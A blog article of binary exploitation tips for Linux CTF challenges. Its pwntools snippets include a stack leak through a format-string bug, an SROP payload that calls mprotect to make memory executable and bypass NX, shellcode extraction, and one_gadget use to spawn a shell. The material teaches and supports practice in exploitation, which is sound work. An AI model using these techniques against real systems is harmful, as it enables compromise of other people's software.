PWN Tips && Tricks — LINUX

PWN Tips && Tricks — LINUX

by Karol Mazurek


Each #TIP will be described according to the template below.

  1. Short description
  2. Script to copy (if applicable)
  3. Screenshot (if applicable)

#TIP1 — automation of leaking data from x64 binary with a format string

  • Simple python script for iterating the stack
import sys
from pwn import *
context.log_level = "error"
p = process(sys.argv[1])for i in range(int(sys.argv[2]), int(sys.argv[3])):
    p.sendline('%{}$p '.format(i).ljust(0x100, 'a'))
    print "{:2}: {}".format(i, p.recvline().split(' ')[0])p.close()


#TIP2 — Use . (dot) during format string exploitation

  • If user input is collected with scanf("%lf", &buffer[i]) , you can pass . as input, which will skip overwriting the data in a referenced variable.

You can check the exploitation with this dot in one of my articles here.

#TIP3— Data stored in memory as a double

  • You can easily convert your pointer value to double with the below function and overwrite RIP with the exact pointer value given in hex. (because this is how it is actually stored in memory when %lf being used)
def double_pointer(pointer_value):
    '''Convert x64 pointer to double representation'''
    byte_string = p64(pointer_value)
    hex_byte_string = binascii.hexlify(byte_string)
    return struct.unpack('d', hex_byte_string.decode('hex'))[0]

You can check the exploitation with this TIP in one of my writeups here.

#TIP4 — Assemble — link — extract — count opcodes

  • Use the below script to quickly assemble, link, and extract the opcodes.
# compile_shellcodex86
function compile_shellcodex86 {
    nasm -f elf -o "$1.o" "$1.asm"
    ld -m elf_i386 -o "$1" "$1.o"
    objdump -d "$1"|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/\ $//g'|sed 's/\ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' |tee -a "$1_extracted_shellcode"
    echo Length:`cat extracted_shellcode | grep -o x | wc -l`
}

You can check the exploitation with this TIP in one of my writeups here.

#TIP5 —If you cannot ROP use SROP

  • If you have Buffer Overflow vulnerability, you can use a technique called SROP to bypass the NX bit using mprotect().
  • This technique requires 2 Gadgets, the ability to write 300 B to the stack, and the ability to control the Instruction Pointer.
# Calling sigreturn() with mprotect() ---
vuln_function  = p64(0x40102e)
syscall_gadget = p64(0x401014)frame = SigreturnFrame(kernel="amd64")          # CREATING A SIGRETURN FRAME
frame.rax = 10                                  # MPROTECT SYSCALL
frame.rdi = 0x0000000000400000                  # BASE ADDRESS
frame.rsi = 0x4000                              # SIZE
frame.rdx = 7                                   # RWX PERMISSION
frame.rsp = 0x00000000004010d8                  # RET ADDRESS - pointer to vuln() 
frame.rip = 0x0000000000401014                  # SYSCALL ADDRESSpayload = "A"*40 + vuln_function + syscall_gadget + str(frame)
p.sendline(payload)
p.recv()
p.sendline("C" * 14) # RAX = 15
p.recv()
# ---

You can check the exploitation with this TIP in one of my writeups here.

#TIP6 —Setting runtime variables

  • You can set target operating system, architecture, and bit-width using pwntools context object.
  • context.binary will automatically set all of the appropriate values.
  • context.log_level will help you with debugging.
from pwn import *
p = process("./binary")
context.binary = "./binary"
context.log_level = "debug"
elf = ELF("binary")
libc = ELF("libc.so.6")
gdb.attach(p)

You can read more in the pwntools docs.

#TIP7 — Export & analyze

  • Insta wins — go to Ghidra and export decompiled binary to C/C++ then use tools for source code static analysis on exported files to find potential vulnerabilities.

 

function static_c_analysis {
    if [ -z "$1" ]
    then
        echo "USAGE: static_c_analysis [binary_code.c] [optional function() to test]"
    else
        export bin_name="$1"
        echo "\n[cppcheck] ---------------------------------------------------------"|tee -a static_c_analysis.txt
        cppcheck --enable=all --inconclusive "$bin_name".c 2>&1 | tail -n+2 | tee -a static_c_analysis.txt
        echo "\n[flawfinder] ---------------------------------------------------------" >> static_c_analysis.txt
        flawfinder "$bin_name".c | tail -n +2 >> static_c_analysis.txt
        echo "\n[graudit] ---------------------------------------------------------"|tee -a static_c_analysis.txt
        graudit "$bin_name".c | tail -n +11 | tee -a static_c_analysis.txt
        echo "\n[pscan] ---------------------------------------------------------"|tee -a static_c_analysis.txt
        pscan "$bin_name".c | tee -a static_c_analysis.txtecho "\n[Weggli] ---------------------------------------------------------"|tee -a static_c_analysis.txt
        echo "[+] Testing calls to memcpy that write into a stack-buffer:" | tee -a static_c_analysis.txt
        weggli '{
            _ $buf[_];
            memcpy($buf,_,_);
        }' "./$1.c" | tee -a static_c_analysis.txtif [ ! -z $2 ]
        then
            echo "[+] Testing calls to $2() that don't check the return value:"
            weggli '{
                strict: "$2"(_);
            }' "./$1.c" | tee -a static_c_analysis.txt
        fiecho "[+] Potentially vulnerable snprintf() users:" | tee -a static_c_analysis.txt
        weggli '{
            $ret = snprintf($b,_,_);
            $b[$ret] = _;
        }' "./$1.c" | tee -a static_c_analysis.txtecho "[+] Potentially uninitialized pointers:" | tee -a static_c_analysis.txt
        weggli '{ _* $p;
            NOT: $p = _;
            $func(&$p);
            }' "./$1.c" | tee -a static_c_analysis.txtecho "[+] Potentially insecure WeakPtr usage:" | tee -a static_c_analysis.txt
        weggli --cpp '{
            $x = _.GetWeakPtr();
            DCHECK($x);
            $x->_;}' "./$1.c" | tee -a static_c_analysis.txtecho "[+] Debug only iterator validation:" | tee -a static_c_analysis.txt
        weggli -X 'DCHECK(_!=_.end());' "./$1.c" | tee -a static_c_analysis.txtecho "[+] Functions that perform writes into a stack-buffer based on a function argument:" | tee -a static_c_analysis.txt
        weggli '_ $fn(_ $limit) {
            _ $buf[_];
            for (_; $i<$limit; _) {
                $buf[$i]=_;
            }
        }' "./$1.c" | tee -a static_c_analysis.txtecho "[+] Functions with the string decode in their name:" | tee -a static_c_analysis.txt
        weggli -R func=decode '_ $func(_) {_;}' "./$1.c" | tee -a static_c_analysis.txtecho "[+] Encoding/Conversion functions:" | tee -a static_c_analysis.txt
        weggli '_ $func($t *$input, $t2 *$output) {
            for (_($i);_;_) {
                $input[$i]=_($output);
            }
        }' "./$1.c" | tee -a static_c_analysis.txt# Custom weggli checks:
        echo "[+] Dangling pointer bugs:" | tee -a static_c_analysis.txt
        weggli -X '{
          if (_ && _($atomic++)) { _; }
        }' "./$1.c" | tee -a static_c_analysis.txtecho "\n[cflow] ---------------------------------------------------------" >> static_c_analysis.txt
        cflow --number --tree --brief "$bin_name".c >> static_c_analysis.txt
    fi
}

#TIP8 — Use floss instead of strings

Many malware authors evade heuristic detections by obfuscating only key portions of an executable. Often, these portions are strings and resources used to configure domains, files, and other artifacts of an infection. These key features will not show up as plaintext in the output of the strings.exe utility that we commonly use during basic static analysis.

  • The FireEye Labs Obfuscated String Solver (FLOSS) uses advanced static analysis techniques to automatically deobfuscate strings from malware binaries.
  • You can use it just like strings.exe to enhance the basic static analysis of unknown binaries.
### Install
$ pip install https://github.com/fireeye/flare-floss/zipball/master### USE
floss -s elf.bin
floss pe.exe

#TIP9 — End of file [CTRL+D]

  • You can send string without ending it with a new line \n character using CTRL+D instead of ENTER .
  • It is useful if you want to send for example 16xA char in command line or using GDB.
  • It is possible as well with pwntools withprocess.send("A"*16) .

#TIP10 — UnicodeDecodeError

  • If you ever found this error in the server log while leaking the data using for example format string vulnerability : UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xc0 in position 0: ordinal not in range(128) — you can use .decode(“unicode_escape”) to mitigate this issue:
print("Address: " + hex(unpack("<Q",addr.ljust(8,b"\x00"))[0]) + " - Leaked data: " + leak.decode("unicode_escape"))

#TIP11 — No binary, -no problem

  • You may find yourself in a situation where you cannot just download the binary and it is possible only to exploit remote executable.
  • In this situation, you can dump the binary code using format string vulnerability and disassemble the leaked binary.

A practical example is available at this link.

#TIP12 — Automatic dynamic format string detection

  • You can find this kind of vulnerability using dynamic binary analysis with GEF format-string-helper functionality:

 

A practical example is available at this link.

#TIP13 — Exploiting ARM binaries

  • If you deal with ARM binaries, it will be hard on Ubuntu :)
  • Use the ready environment prepared by Maria Markstedter, available at this link, and mount it.
  • Start ARM environment as shown below:

practical example is available at this link.

#TIP14— access value printed by printf()

  • Use %s instead of %p format string.
    (access value printed by printf() instead of a pointer to the string)
  • %s takes memory location of char array as an argument and prints characters from there until a null byte is encountered.
  • printf() will print memory data from any address provided to it.
  • If the address of GOT section is provided, it will print the resolved libc address that was stored there.

A practical example is available at this link.

#TIP15— Use libc.blukat.me

A practical example is available at this link.

#TIP16 — Use one_gadget

  • One gadget is a line of C code: execve(“/bin/sh”, 0, 0); - this line of code spawns a shell.
  • It is available at this link and is very easy to use:
one_gadget libc6_2.27-3ubuntu1_amd64.so

A practical example is available at this link.

#TIP17— Jumping to a shellcode

  • If you managed to control EIP and you want to jump to your shellcode, there are many ways to do that.
  • They were excellently covered in Abatchy’s article —you can check there a condition for each technique and see if you can make it work to reach your shellcode.

A practical example is available at this link.


Originally published at: https://karol-mazurek95.medium.com/pwn-tips-tricks-linux-d10186e8580e

January 7, 2022
Subscribe
Notify of
guest

This site uses Akismet to reduce spam. Learn how your comment data is processed.

0 Comments
Inline Feedbacks
View all comments

© HAKIN9 MEDIA SP. Z O.O. SP. K. 2013